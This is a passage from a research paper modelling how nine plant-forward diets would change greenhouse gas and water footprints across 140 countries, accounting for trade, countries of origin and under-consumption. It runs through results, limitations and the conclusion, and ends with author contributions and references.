The wide interquartile ranges of country-specific item footprints (error bars in Figs. 2, S1–S3; see also Fig. 3, Fig. 4) illustrate variations in the conditions and practices unique to where items are produced. The per-kilogram GHG footprints of bovine meat from Paraguay and Brazil, for example, were 17 and five times higher, respectively, than that of Danish bovine meat (Fig. 3). These differences were largely attributable to deforestation for grazing lands and higher methane emissions from ruminant eructation (belching). While there were insufficient data to account for COO in all cases, we did so for most of the items with the greatest magnitude and variance in footprints, e.g., GHG footprints of terrestrial animal products (excluding insects).

3.2. Footprints of whole diets

We modeled scenarios illustrating the potential per capita and whole-country footprints of nine plant-forward diets. These in part reflect modeling choices; they represent potential outcomes for consideration and may not reflect actual consumption behaviors. Scenarios involving country-wide shifts to a particular diet, for example, are unlikely to occur, but can reveal opportunities where policy and behavioral interventions could have the broadest effect, particularly in populous countries (Figs. 6b, 8c and d).

3.2.1. Global implications of adopting the OECD diet

In a scenario in which all 140 study countries adopted the average consumption pattern of high-income OECD countries, per capita diet-related GHG and consumptive (blue plus green) water footprints increased by an average of 135 and 47 percent, respectively, relative to the baseline (shown for selected countries in Figs. 6, 8a–d). These findings echo prior literature (e.g., Bajzelj et al., 2014; Willett et al., 2019) on the climate implications of rising meat and dairy intake, and the importance of both reducing animal-product intake in high-consuming countries and providing viable plant-forward strategies for transitioning countries.

3.2.2. Global implications of adjusting for under-consumption

We modeled scenarios in which dietary patterns could better align with ecological goals alongside nutrition guidelines—while also identifying some of the challenges in doing so. For example, baseline protein and caloric availability were below recommended levels (Section 2.4) in 49 and 36 percent of countries, respectively. The resulting adjustments for under-consumption attenuated—and in some cases completely offset—the GHG and water footprint reductions associated with dietary shifts. For a scenario in which all 140 study countries adopted either the low red meat or meatless day diet, our model projected an average net increase in diet-related GHG, blue water, and green water footprints relative to the baseline (Fig. 5a). Populous countries characterized by under-consumption were the largest contributors to this phenomenon, namely India and to a lesser degree Pakistan and Indonesia (Fig. 6, Fig. 7, Fig. 8); loss-adjusted baseline protein availability in these countries was 14, 9, and 12 g below the recommended minimum of 69 g, respectively. Thus, interventions that aim to address both sustainability and health goals must ensure plant-forward shifts are ambitious enough to offset the potential ecological burdens associated with providing adequate nutrition.

By contrast, if we hold caloric intake constant—that is, independent of adjustments for over- and under-consumption (i.e., relative to an adjusted variant of the baseline pattern, scaled to 2300 kcal and the protein floor)—shifting to the low red meat or meatless day diets resulted in an average net 4% or 3% reduction in diet-related GHG footprints, respectively (Fig. 5b). Regardless of their effectiveness in climate change mitigation, these modest shifts may offer an accessible starting point toward more plant-forward dietary patterns.

3.2.3. Importance of country-specific analyses, trade, and countries of origin

The global aggregates shown in Fig. 5 are limited insofar as they obscure the considerable variation across countries, illustrated by the interquartile ranges. This variation was attributable to differences in food supply composition (e.g., the degree to which the aquatic animals group is comprised of pond-raised species), how animal products are replaced when shifting diets, adjustments for over- and under-consumption, and import patterns and the associated production practices (e.g., pasture-based vs. intensive; irrigated vs. rainfed) and climatic conditions (e.g., precipitation, evapotranspiration) unique to COOs. A country-specific analysis reveals, for example, that shifting to the meatless day diet reduced GHG and water footprints in 47% and 57% of study countries, respectively—with some of the greatest per capita reductions in Paraguay, Israel, and Brazil—even though the average net effect was an increase in footprints. Fig. 7 further illustrates the degree to which the relative environmental benefits among diets varied across countries, along with the relative contributions of different food groups. Notably, of the 140 individual countries examined in this study, most—including those identified as having the most GHG- and water-intensive diets—have been vastly underrepresented in the literature (Appendix A, Table A1).

The scenario in which countries adopt the average baseline consumption pattern of high-income OECD countries (Figs. 6, 8a–d) isolates the effects of import patterns and COO on GHG and water footprints. Holding diet composition constant across the 140 study countries, the GHG and consumptive (blue plus green) water footprints associated with this scenario showed substantial variation (averaging 2.5 ± 0.9 metric tons CO2e/capita/year and 1.5 ± 0.5 megaliters/capita/year, respectively).

A number of country governments, including Brazil (Ministry of Health of Brazil, 2014) and more recently Canada (Health Canada, 2019), have put forth dietary guidelines emphasizing predominantly plant-based foods. While this is a critical step toward aligning domestic consumption patterns with public health and ecological goals, countries’ production and export patterns merit additional attention. Brazil, for example, was the top exporter of bovine meat (based on an average of 2011–2013 data) and was in the top quartile for GHG-intensity of bovine meat production (Fig. 3). Together with other major GHG-intensive exporters such as India and Paraguay, Brazilian bovine meat exports contributed to the large GHG footprints of diets in importing countries like Chile, Hong Kong, Kuwait, Venezuela, and Israel. In a hypothetical scenario in which the share of Hong Kong’s bovine meat imports from Brazil came from Denmark instead, Hong Kong’s per capita GHG footprint for the baseline pattern was 18% lower. While not necessarily feasible or desirable, this scenario further illustrates the importance of accounting for trade patterns and COO.

3.2.4. Per capita GHG footprints of whole diets

The countries with the most GHG-intensive baseline consumption patterns (Fig. 6)—and the greatest potential GHG reductions from shifting toward plant-forward diets—included those with the highest per capita intake of bovine meat (Argentina, Brazil, Australia), the most GHG-intensive bovine meat production (Paraguay, Chile; Fig. 3), and the greatest contributions of deforestation to the GHG footprints of diets (Paraguay, Chile, Brazil; Brazil is shown in Fig. 7). Deforestation accounted for 61% of the GHG footprint for the Paraguayan baseline consumption pattern, and over 10% of the GHG footprints for 32 countries’ baseline patterns.

Over all 140 study countries, a theoretical shift to vegan diets reduced per capita diet-related GHG footprints by an average of 70%, relative to the baseline (Fig. 5a). Vegan diets had the lowest per capita GHG footprints in 97% of study countries. Given the low per-kilocalorie GHG footprints of most plant foods (Fig. S1), even substantial increases in consumption had only modest effects on GHG emissions of diets. For the US vegan diet, for example, scaling up plant foods recouped 100% of the calories and protein from animal foods with only 16% of the GHG emissions relative to the adjusted baseline (Fig. 7).

Relative to vegan diets, low-food chain diets (i.e., predominantly plant-based plus forage fish, bivalve mollusks, and insects) offer greater flexibility by allowing for modest animal product intake with comparable environmental benefits (Fig. 5). Low-food chain diets also met the recommended intake of vitamin B12 for adults (2.4 μg/day; Institute of Medicine Food and Nutrition Board, 1998) in 49% of study countries, illustrating that there may be ways to mitigate this potential limitation of plant-forward diets even without supplementation, at least for the general population.

Mostly plant-based diets were generally less GHG-intensive than lacto-ovo vegetarian diets, in part due to the relatively high GHG footprint of dairy (and eggs, depending on the basis of comparison; Figs. 2, S1–S3) and the reliance on dairy as one of only three food groups in the lacto-ovo vegetarian diet used to meet the protein floor (Fig. 1). This phenomenon was particularly notable for India (Fig. 6, Fig. 7). In 95% of countries, two-thirds vegan diets were less GHG-intensive than lacto-ovo vegetarian (e.g., Fig. 6, Fig. 7). Countries where this was not the case included those with some of the most GHG-intensive baseline consumption patterns (i.e., Paraguay, Chile, Argentina), largely because of the GHG-intensity of ruminant meat in those countries. In 64% of countries, the GHG footprints of no dairy diets were lower than those of lacto-ovo vegetarian diets (e.g., India and Indonesia, Fig. 7; also Fig. 6). In 91% of countries, the GHG footprints of low-food chain diets were less than half those of lacto-ovo vegetarian diets. These findings suggest populations could do far more to reduce their climate impact by eating mostly plants with a modest amount of low-impact meat than by eliminating meat entirely and replacing a large share of the meat’s protein and calories with dairy.

3.2.5. Per capita water footprints of whole diets

Per capita blue WFs of diets (Fig. 8a, e) were in many cases largest in countries with 1) low annual precipitation, increasing reliance on irrigation for domestic crops; and 2) climatic factors such as high temperatures that contribute to high evapotranspiration rates, and thereby decrease crop water productivity (i.e., crop output per unit of water consumed). These included Iran, Egypt, and Saudi Arabia. Domestically-produced rice was among the top contributors in high-blue WF countries, four of which (Kazakhstan, Afghanistan, Pakistan, Iran) were also among the most blue water-intensive rice-producing countries (e.g., Fig. 4; rice WFs for all countries are provided in Mendeley Data input/item_footprints_by_coo). For blue WF reductions, the most impactful per capita dietary shifts were in Egypt, in part due to the high blue water intensity of Egyptian bovine meat and dairy.

For baseline consumption patterns, the consumptive (blue plus green) WF was highest for Niger (Fig. 8b, e), 98% of which was attributable to green water. Domestically-grown millet was the largest single contributor (40%) to the consumptive WF of the baseline consumption pattern. Niger had by far the highest per capita millet supply of any country, and was the 3rd largest producer and 8th most water-intensive millet-producing country. The low water productivity of millet in Niger was attributable to low edible yield and high evapotranspiration rates. Inedible millet crop residues, however, provide fuel, construction materials, and livestock fodder (Sadras et al., 2009), illustrating how sociocultural and economic provisions of agricultural goods must be considered alongside ecological outcomes (see Section 3.3).

Potential reductions in per capita consumptive WFs from shifting to vegan diets were largest in Bolivia, Israel, and Brazil. Bovine meat, poultry, and dairy together accounted for over half of the consumptive WFs of the baseline consumption patterns in each of these countries. In Israel, for example, the per capita consumptive WFs of the low-food chain and vegan diets were 66% and 67% lower, respectively, than that of the baseline consumption pattern. Bolivia was the most water-intensive producer of bovine meat and the second for dairy, and most of the country’s supply of these items was produced domestically. Bolivia also has a high prevalence of anemia (Development Initiatives, 2018), thus efforts to mitigate high WFs through dietary interventions must give this careful consideration.

For many countries, the blue WFs of low and no red meat, no dairy, and pescetarian diets were higher than those of baseline consumption patterns (Figs. 5a, 8a). These diets scaled up aquatic animals, of which the FBS items “Freshwater Fish” and “Crustaceans” were highly blue water-intensive when raised in ponds (Figs. 2, S1–S3). Contributions of aquatic animals to the blue WFs of baseline, low red meat, and no red meat diets exceeded those from terrestrial meat in 29%, 34%, and 69% of countries, respectively. In mainland China and Indonesia, for example, aquatic animals contributed 29% and 26%, respectively, to the blue WFs of baseline consumption patterns. In both countries, a substantial share of domestic fish production was from aquaculture (72% and 38%, respectively), predominantly for domestic consumption and not export (Belton et al., 2018). Replacing water-intensive pond-raised species with forage fish and bivalve mollusks, as in the low-food chain diet, could reduce both water and GHG footprints (see Section 3.3 regarding limits to increased aquatic animal intake).

Note that we did not have information about the shares of freshwater fish and crustaceans consumed in a given country that were farmed in ponds, so we made assumptions based on global production patterns (see Section 2.7.6). This method overestimates blue WFs of countries that source a large share of these species from wild fisheries or non-pond aquaculture, while underestimating blue WFs of countries for which the converse is true.

3.2.6. Targeting dietary interventions and whole-country footprints of diets

All else being equal, optimal interventions would promote dietary shifts in countries with large potential reductions in both per capita and whole country GHG and water footprint (acknowledging that “optimal” depends on a wide range of factors, including many not considered here; see Section 3.3). Based on shifting to a two-thirds vegan diet for purely illustrative purposes, only three countries—Brazil, the US, and Australia—were in the highest quintile for all four of the following criteria: greatest potential per capita and whole-country reductions in both GHG and consumptive water footprints (Fig. S4).

3.3. Limitations and opportunities for future research

There is much variability and uncertainty in accounting for post-farm gate activities (e.g., processing, transportation, retail) and soil carbon fluxes, and accordingly, they are rarely included in the scope of item footprint studies. Both were thus excluded from this study. We do not expect the former to affect our overall conclusions, as the majority (80–86%) of diet-related GHG emissions have been attributed to the production stage (Vermeulen et al., 2012).

Accounting for soil carbon sequestration has been shown to lower estimates of the GHG footprints of ruminant products, particularly those from management-intensive grazing systems (e.g., Pelletier et al., 2010; Tichenor et al., 2017). Further research is needed to measure the potential for soil carbon sequestration to reduce ruminant GHG footprints over a broad geographic and temporal scale, given it is time-limited; reversible; and highly context-specific based in part on soil composition, climate, and livestock management (Garnett et al., 2017). Conversely, the potential for soil carbon losses (e.g., from overgrazing or feed crop production) to increase ruminant GHG footprints should also be considered. Regardless of the uncertain role of well-managed grazing systems in carbon sequestration, the potential benefits for soil health, biodiversity, animal welfare, and other dimensions independent of climate change should also be taken into consideration. Apart from livestock production, carbon fluxes in crop and polyculture systems should also be further explored.

Aside from shifting consumption patterns, our study model holds other factors constant over time, including climatic conditions, population dynamics, food wastage, trade patterns, and the GHG- and water-intensity of production. Over the gradual course of changing diets, these factors will change in ways that are difficult to anticipate, e.g., as a result of rising incomes, evolving technology, changing trade policies, and economic feedback effects. Furthermore, we assume a proportional relationship between shifting demand and supply-side impacts, whereas the impact of dietary shifts on blue water conservation, for example, may be limited without policies promoting sustainable withdrawal rates (Weindl et al., 2017). Similarly, reducing animal product intake cannot reverse CO2 emissions from deforestation unless land is taken out of production and reforested (Searchinger et al., 2018). Given their uncertain potential, dietary shifts should be complemented with other behavioral and policy interventions.

Further research is needed to examine dietary shifts in the context of social, economic, ecological, and agronomic feasibility, particularly in low- and middle-income countries (Kiff et al., 2016), as well as the effects on other health, social, and ecological measures not considered here (e.g., producers’ livelihoods, land availability, biodiversity, and eutrophication potential). Shifts to plant-forward diets, for example, must ensure target populations have sufficient physical and economic access to a variety of nutrient-dense plant-based foods. Agricultural systems would need to scale up production of fruits, vegetables, and proteins to meet the nutritional needs of the current population (KC et al., 2018), concurrent with a more equitable redistribution of available food. Dietary scenarios that increase aquatic animal consumption, meanwhile, raise concerns regarding depletion of wild stocks and ecological issues associated with increasing production of certain farmed species (Thurstan and Roberts, 2014). The feasibility of sustainable diets may further depend on how well proposed eating patterns align with historical and cultural context. Van Dooren and Aiking (2016) demonstrate a method for balancing several of these domains by simultaneously optimizing modeled diets for nutrition, climate change mitigation, land use, and cultural acceptability. Our use of baseline consumption patterns as a reference point helped to preserve countries’ eating patterns when modeling diets (Section 2.4); cultural receptivity could be further refined, however, by using national food-based dietary guidelines (FBDGs) to define criteria for healthy diets for individual countries, as in Vanham et al. (2018), rather than global recommendations (Section 2.4). Alternatively, or in cases where countries do not have FBDGs, this research could help define FBDGs that are healthy, sustainable, and culturally appropriate. Country-specific analyses that account for cultural acceptability could then be placed within the context of the planetary boundaries for food systems proposed by the EAT-Lancet Commission (Willett et al., 2019). The need to better characterize the impacts of, viability of, and strategies for shifting toward plant-forward diets, however, must be balanced against the preponderance of evidence calling for immediate action.

4. Conclusion

We evaluated nine plant-forward diets aligned with nutrition guidelines, specific to 140 individual countries, for their potential roles in climate change mitigation and freshwater conservation. Accounting for country-specific differences in over- and under-consumption, trade and baseline consumption patterns, and the GHG- and water-intensities of foods by COO can help tailor policy and behavioral interventions. Using this approach, we present a range of flexible options for each country that better align dietary patterns with public health and ecological goals, including viable alternatives for low- and middle-income countries that might otherwise adopt the consumption patterns of OECD countries.

Declaration of Interest Statement



B.F.K and S.R.C. developed the model with guidance and contributions from all co-authors; J.P.F. provided guidance and expertise on the modeling and analysis of aquatic animal footprints; M.M.M. and A.Y.H. provided guidance and expertise on water footprints and coproduct allocation; S.D.P. and M.W.B. provided guidance and expertise on modelling healthy diets; A.P.S., B.F.K., R.E.S., and C.M.S. performed the search and standardization of item footprint studies; R.E.S. performed the literature review of other diet footprint studies; B.F.K. and R.E.S. wrote the manuscript; and K.E.N. and R.A.N. provided guidance and expertise on all facets of and supervised the project. All authors reviewed and contributed to manuscript drafts.


We thank Danielle Edwards and Emily Hu for research assistance; Rebecca Ramsing, Alana Ridge, and Marie Spiker for general guidance and discussions; Tomasz Filipczuk from the Crops, Livestock & Food Statistics Team of the FAO Statistics Division for guidance on the use and interpretation of FAO data; and Ruth Burrows, Bailey Evenson, Carolyn Hricko, Shawn McKenzie, Matthew Kessler, Rebecca Ramsing, Marie Spiker, and James Yager for comments on the manuscript. This work was supported by the Columbus Foundation. The funders had no role in study design; data collection, analysis, or interpretation; preparation of the manuscript; or decision to publish.


Bittman, 2013

M. Bittman
VB6: Eat Vegan Before 6:00 to Lose Weight and Restore Your Health…for Good
Clarkson Potter (2013)

Bryngelsson et al., 2016

D. Bryngelsson, S. Wirsenius, F. Hedenus, U. Sonesson
How can the EU climate targets be met? A combined analysis of technological and demand-side changes in food and agriculture
Food Policy, 59 (2016), pp. 152-164, 10.1016/j.foodpol.2015.12.012

Dario et al., 2014

C. Dario, L. Anna, J.D. Steven, B. Simone, C. Ken
CH4 and N2O emissions embodied in international trade of meat
Environ. Res. Lett., 9 (2014), Article 114005

de Boer et al., 2014d

J. de Boer, H. Schösler, H. Aiking
“Meatless days” or “less but better”? Exploring strategies to adapt Western meat consumption to health and sustainability challenges
Appetite, 76 (2014), pp. 120-128, 10.1016/j.appet.2014.02.002

de Pee and Bloem, 2009d

S. de Pee, M.W. Bloem
Current and potential role of specially formulated foods and food supplements for preventing malnutrition among 6- to 23-month-old children and for treating moderate malnutrition among 6- to 59-month-old children
Food Nutr. Bull., 30 (2009), 10.1177/15648265090303S305

de Ruiter et al., 2016

H. de Ruiter, J.I. Macdiarmid, R.B. Matthews, T. Kastner, P. Smith
Global cropland and greenhouse gas impacts of UK food supply are increasingly located overseas
J. R. Soc. Interface, 13 (2016), 10.1098/rsif.2015.1001

Development Initiatives, 2018

Development Initiatives
2018 Global Nutrition Report: Shining a Light to Spur Action on Nutrition
Bristol, UK

Fehrenbach et al., 2016

K.S. Fehrenbach, A.C. Righter, R.E. Santo
A critical examination of the available data sources for estimating meat and protein consumption in the USA
Publ. Health Nutr., 19 (2016), pp. 1358-1367

Fischer and Garnett, 2016

C.G. Fischer, T. Garnett
Plates, Pyramids, Planet: Developments in National Healthy and Sustainable Dietary Guidelines: A State of Play Assessment
United Nations Food and Agriculture Organization and The Food Climate Research Network, Rome (2016)

Food and Agriculture Organization of the United Nations, 1989

Food and Agriculture Organization of the United Nations
Yield and Nutritional Value of the Commercially More Important Fish Species, FAO Fisheries Technical Paper
FAO, Rome (1989)

Food and Agriculture Organization of the United Nations, 2001

Food and Agriculture Organization of the United Nations
Food Balance Sheets: A Handbook

Food and Agriculture Organization of the United Nations, 2017a

Food and Agriculture Organization of the United Nations
Accessed December 2017

Food and Agriculture Organization of the United Nations, 2017b

Food and Agriculture Organization of the United Nations
FAOSTAT Commodity Definitions and Correspondences
Accessed December 2017

Food and Agriculture Organization of the United Nations, 2017c

Food and Agriculture Organization of the United Nations
GLEAM-i Version 2.0 Revision 3

Food and Agriculture Organization of the United Nations, 2017d

Food and Agriculture Organization of the United Nations
Global Livestock Environmental Assessment Model, Version 2.0, Model Description Revision 4

Food and Agriculture Organization of the United Nations, 2017e

Food and Agriculture Organization of the United Nations
Fishery Statistical Collections: Global Production
Accessed December 2017

Food and Agriculture Organization of the United Nations, 2017Food and Agriculture Organization of the United Nations, n.d. Technical Conversion Factors for Agricultural Commodities. Accessed December 2017.

Garnett et al., 2017

T. Garnett, Cc. Godde, A. Muller, E. Röös, P. Smith, I. de Boer, E. zu Ermgassen, M. Herrero, C. van Middelaar, C. Schader, H. van Zanten
Grazed and Confused? Ruminating on Cattle, Grazing Systems, Methane, Nitrous Oxide, the Soil Carbon Sequestration Question – and What it All Means for Greenhouse Gas Emissions
Food Climate Research Network, Oxford (2017)

Gephart et al., 2017

J.A. Gephart, M. Troell, P.J.G. Henriksson, M.C.M. Beveridge, M. Verdegem, M. Metian, L.D. Mateos, L. Deutsch
The ‘seafood gap’ in the food-water nexus literature—issues surrounding freshwater use in seafood production chains
Adv. Water Resour., 110 (2017), pp. 505-514, 10.1016/j.advwatres.2017.03.025

Gustavsson et al., 2011

J. Gustavsson, C. Cederberg, U. Sonesson, Rv. Otterdijk, A. Meybeck
Global Food Losses and Food Waste: Extent, Causes and Prevention
Food and Agriculture Organization of the United Nations, Rome (2011)

Health Canada, 2019

Health Canada
Canada’s Dietary Guidelines

Hedenus et al., 2014

F. Hedenus, S. Wirsenius, D.J.A. Johansson
The importance of reduced meat and dairy consumption for meeting stringent climate change targets
Clim. Change, 124 (2014), pp. 79-91, 10.1007/s10584-014-1104-5

Heller and Keoleian, 2015

M.C. Heller, G.A. Keoleian
Greenhouse gas emission estimates of U.S. dietary choices and food loss
J. Ind. Ecol., 19 (2015), pp. 391-401, 10.1111/jiec.12174

Henriksson et al., 2017

P.J.G. Henriksson, N. Tran, C.V. Mohan, C.Y. Chan, U.P. Rodriguez, S. Suri, L.D. Mateos, N.B.P. Utomo, S. Hall, M.J. Phillips
Indonesian aquaculture futures – evaluating environmental and socioeconomic potentials and limitations
J. Clean. Prod., 162 (2017), pp. 1482-1490, 10.1016/j.jclepro.2017.06.133

Hoekstra, 2016

A.Y. Hoekstra
A critique on the water-scarcity weighted water footprint in LCA
Ecol. Indic., 66 (2016), pp. 564-573, 10.1016/j.ecolind.2016.02.026

Hoekstra et al., 2011

A.Y. Hoekstra, A.K. Chapagain, M.M. Aldaya, M.M. Mekonnen
The Water Footprint Assessment Manual: Setting the Global Standard
Earthscan, London, UK (2011)

Institute of Medicine Food and Nutrition Board, 1998

Institute of Medicine Food and Nutrition Board
Dietary Reference Intakes (DRIs): Thiamin, Riboflavin, Niacin, Vitamin B6, Folate, Vitamin B12, Pantothenic Acid, Biotin, and Choline
National Academy Press, Washington, D.C (1998)

Jones et al., 2016

A.D. Jones, L. Hoey, J. Blesh, L. Miller, A. Green, L.F. Shapiro
A systematic review of the measurement of sustainable diets
Adv. Nutr., 7 (2016), pp. 641-664, 10.3945/an.115.011015

KC et al., 2018

K.B. KC, G.M. Dias, A. Veeramani, C.J. Swanton, D. Fraser, D. Steinke, et al.
When too much isn’t enough: does current food production meet global nutritional needs?
PLoS One, 13 (2018), Article e0205683, 10.1371/journal.pone.0205683

Kiff et al., 2016

L. Kiff, A. Wilkes, T. Tennigkeit
The Technical Mitigation Potential of Demand-Side Measures in the Agri-Food Sector: A Preliminary Assessment of Available Measures
CGIAR Research Program on Climate Change, Agriculture and Food Security, Copenhagen (2016)

Kim et al., 2019

B.F. Kim, R.E. Santo, A.P. Scatterday, J.F. Fry, C.M. Synk, S.R. Cebron, M.M. Mekonnen, A.Y. Hoekstra, S. de Pee, M.W. Bloem, R.A. Neff, K.E. Nachman
Data for: Country-Specific Dietary Shifts to Mitigate Climate and Water Crises
Mendeley Data, v2 (2019)

Leach et al., 2016

A.M. Leach, K.A. Emery, J. Gephart, K.F. Davis, J.W. Erisman, A. Leip, M.L. Pace, P. D’Odorico, J. Carr, L.C. Noll, E. Castner, J.N. Galloway
Environmental impact food labels combining carbon, nitrogen, and water footprints
Food Policy, 61 (2016), pp. 213-223, 10.1016/j.foodpol.2016.03.006

Mekonnen and Hoekstra, 2010a

M.M. Mekonnen, A.Y. Hoekstra
The Green, Blue and Grey Water Footprint of Crops and Derived Crop Products
UNESCO-IHE, Delft, the Netherlands (2010)

Mekonnen and Hoekstra, 2010b

M.M. Mekonnen, A.Y. Hoekstra
The Green, Blue and Grey Water Footprint of Farm Animals and Animal Products
UNESCO-IHE, Delft, the Netherlands (2010)

Miglietta et al., 2015

P.P. Miglietta, F. De Leo, M. Ruberti, S. Massari
Mealworms for food: a water footprint perspective
Water, 7 (2015), pp. 6190-6203

Ministry of Health of Brazil, 2014

Ministry of Health of Brazil
Dietary Guidelines for the Brazilian Population
(2nd edition) (2014)

Morris et al., 2014

C. Morris, J. Kirwan, R. Lally
Less meat initiatives: an initial exploration of a diet-focused social innovation in transitions to a more sustainable regime of meat provisioning
Int. J. Sociol. Agric. Food, 21 (2014), pp. 189-208

Mottet et al., 2017

A. Mottet, C. de Haan, A. Falcucci, G. Tempio, C. Opio, P. Gerber
Livestock: on our plates or eating at our table? A new analysis of the feed/food debate
Glob. Food Secur., 14 (2017), pp. 1-8, 10.1016/j.gfs.2017.01.001

Nijdam et al., 2012

D. Nijdam, T. Rood, H. Westhoek
The price of protein: review of land use and carbon footprints from life cycle assessments of animal food products and their substitutes
Food Policy, 37 (2012), pp. 760-770, 10.1016/j.foodpol.2012.08.002

Pahlow et al., 2015

M. Pahlow, P.R. van Oel, M.M. Mekonnen, A.Y. Hoekstra
Increasing pressure on freshwater resources due to terrestrial feed ingredients for aquaculture production
Sci. Total Environ., 536 (2015), pp. 847-857, 10.1016/j.scitotenv.2015.07.124

Payne et al., 2016

C.L. Payne, P. Scarborough, M. Rayner, K. Nonaka
A systematic review of nutrient composition data available for twelve commercially available edible insects, and comparison with reference values
Trends Food Sci. Technol., 47 (2016), pp. 69-77

Pelletier et al., 2010

N. Pelletier, R. Pirog, R. Rasmussen
Comparative life cycle environmental impacts of three beef production strategies in the Upper Midwestern United States
Agric. Syst., 103 (2010), pp. 380-389, 10.1016/j.agsy.2010.03.009

Peters and Hertwich, 2008

G.P. Peters, E.G. Hertwich
CO2 embodied in international trade with implications for global climate policy
Environ. Sci. Technol., 42 (2008), pp. 1401-1407, 10.1021/es072023k

Popp et al., 2010

A. Popp, H. Lotze-Campen, B. Bodirsky
Food consumption, diet shifts and associated non-CO2 greenhouse gases from agricultural production
Glob. Environ. Change, 20 (2010), pp. 451-462, 10.1016/j.gloenvcha.2010.02.001

Pradhan et al., 2013

P. Pradhan, D.E. Reusser, J.P. Kropp
Embodied greenhouse gas emissions in diets
PLoS One, 8 (2013), Article e62228

Sadras et al., 2009

V.O. Sadras, P. Grassini, P. Steduto
Status of Water Use Efficiency of Main Crops: SOLAW Background Thematic Report – TR07
Food and Agriculture Organization of the United Nations, Rome (2009)

Säll and Gren, 2015

S. Säll, I.-M. Gren
Effects of an environmental tax on meat and dairy consumption in Sweden
Food Policy, 55 (2015), pp. 41-53, 10.1016/j.foodpol.2015.05.008

Searchinger et al., 2018

T.D. Searchinger, S. Wirsenius, T. Beringer, P. Dumas
Assessing the efficiency of changes in land use for mitigating climate change
Nature, 564 (2018), pp. 249-253, 10.1038/s41586-018-0757-z

Schyns et al., 2019

J.F. Schyns, A.Y. Hoekstra, M.J. Booij, R.J. Hogeboom, M.M. Mekonnen
Limits to the world’s green water resources for food, feed, fiber, timber, and bioenergy
Proc. Natl. Acad. Sci. U. S. A., 116 (2019), pp. 4893-4898, 10.1073/pnas.1817380116

Semba, 2016

R.D. Semba
The rise and fall of protein malnutrition in global health
Ann. Nutr. Metab., 69 (2016), pp. 79-88, 10.1159/000449175

Springmann et al., 2016

M. Springmann, H.C.J. Godfray, M. Rayner, P. Scarborough
Analysis and valuation of the health and climate change cobenefits of dietary change
Proc. Natl. Acad. Sci. U. S. A., 113 (2016), pp. 4146-4151, 10.1073/pnas.1523119113

Springmann et al., 2017

M. Springmann, D. Mason-D’Croz, S. Robinson, K. Wiebe, H.C.J. Godfray, M. Rayner, P. Scarborough
Mitigation potential and global health impacts from emissions pricing of food commodities
Nat. Clim. Change, 7 (2017), pp. 69-74, 10.1038/nclimate3155

Stehfest et al., 2009

E. Stehfest, L. Bouwman, D.P. van Vuuren, M.G.J. den Elzen, B. Eickhout, P. Kabat
Climate benefits of changing diet
Clim. Change, 95 (2009), pp. 83-102, 10.1007/s10584-008-9534-6

Swinburn et al., 2019

B.A. Swinburn, V.I. Kraak, S. Allendar, V.J. Atkins, P.I. Baker, J.R. Bogard, H. Brinsden, A. Calvillo, O. De Schutter, R. Devarajan, et al.
The global syndemic of obesity, undernutrition, and climate change: the Lancet Commission report
Lancet, 393 (2019), pp. 791-846, 10.1016/S0140-6736(18)32822-8

Thurstan and Roberts, 2014

R.H. Thurstan, C.M. Roberts
The past and future of fish consumption: can supplies meet healthy eating recommendations?
Mar. Pollut. Bull., 89 (2014), pp. 5-11, 10.1016/j.marpolbul.2014.09.016

Tichenor et al., 2017

N.E. Tichenor, C.J. Peters, G.A. Norris, G. Thoma, T.S. Griffin
Life cycle environmental consequences of grass-fed and dairy beef production systems in the Northeastern United States
J. Clean. Prod., 142 (2017), pp. 1619-1628, 10.1016/j.jclepro.2016.11.138

Tilman and Clark, 2014

D. Tilman, M. Clark
Global diets link environmental sustainability and human health
Nature, 515 (2014), pp. 518-522, 10.1038/nature13959

Tukker et al., 2011

A. Tukker, R.A. Goldbohm, A. de Koning, M. Verheijden, R. Kleijn, O. Wolf, I. Pérez-Domínguez, J.M. Rueda-Cantuche
Environmental impacts of changes to healthier diets in Europe
Ecol. Econ., 70 (2011), pp. 1776-1788, 10.1016/j.ecolecon.2011.05.001

U.S. Food and Drug Administration, 2016

U.S. Food and Drug Administration
CFR – Code of Federal Regulations Title 21

United States Department of Agriculture, 2017

United States Department of Agriculture
Food Composition Databases
Accessed December 2017

Van Dooren and Aiking, 2016

C. Van Dooren, H. Aiking
Defining a nutritionally healthy, environmentally friendly, and culturally acceptable low lands diet
Int. J. Life Cycle Assess., 21 (2016), pp. 688-700, 10.1007/s11367-015-1007-3

Vanham et al., 2018

D. Vanham, S. Comero, B.M. Gawlik, G. Bidoglio
The water footprint of different diets within European sub-national geographical entities
Nat. Sustain., 1 (2018), pp. 518-525, 10.1038/s41893-018-0133-x

Verdegem and Bosma, 2009

M.C.J. Verdegem, R.H. Bosma
Water withdrawal for brackish and inland aquaculture, and options to produce more fish in ponds with present water use
Water Policy, 11 (2009), pp. 52-68, 10.2166/wp.2009.003

Vermeulen et al., 2012

S.J. Vermeulen, B.M. Campbell, J.S.I. Ingram
Climate change and food systems
Annu. Rev. Environ. Resour., 37 (2012), pp. 195-222, 10.1146/annurev-environ-020411-130608

Waterman, 2001

J.J. Waterman
Measures, Stowage Rates and Yields of Fishery Products
FAO, Rome (2001)

Weindl et al., 2017

I. Weindl, B.L. Bodirsky, S. Rolinski, A. Biewald, H. Lotze-Campen, C. Müller, J.P. Dietrich, F. Humpenöder, M. Stevanović, S. Schaphoff, A. Popp
Livestock production and the water challenge of future food supply: implications of agricultural management and dietary choices
Glob. Environ. Change, 47 (2017), pp. 121-132, 10.1016/j.gloenvcha.2017.09.010

Wellesley et al., 2015

L. Wellesley, C. Happer, A. Froggatt
Changing Climate, Changing Diets: Pathways to Lower Meat Consumption, London

Willett et al., 2019

W.W. Willett, J. Rockström, B. Loken, M. Springmann, et al.
Food in the anthropocene: the EAT-Lancet Commission on healthy diets from sustainable food systems
Lancet, 393 (2019), pp. 447-492, 10.1016/S0140-6736(18)31788-4

Wirsenius et al., 2011

S. Wirsenius, F. Hedenus, K. Mohlin
Greenhouse gas taxes on animal food products: rationale, tax scheme and climate mitigation effects
Clim. Change, 108 (2011), pp. 159-184, 10.1007/s10584-010-9971-x

The World Bank, 2018

The World Bank
World Bank List of Economies (June 2018)
Accessed December 2018

World Cancer Research Fund and American Institute for Cancer Research, 2018

World Cancer Research Fund and American Institute for Cancer Research
Diet, Nutrition, Physical Activity and Cancer: A Global Perspective. Continuous Update Project Expert Report 2018

World Health Organization and Food and Agriculture Organization of the United Nations, 2003

World Health Organization and Food and Agriculture Organization of the United Nations
Diet, Nutrition, and the Prevention of Chronic Diseases
WHO Technical Report Series 916 (2003)


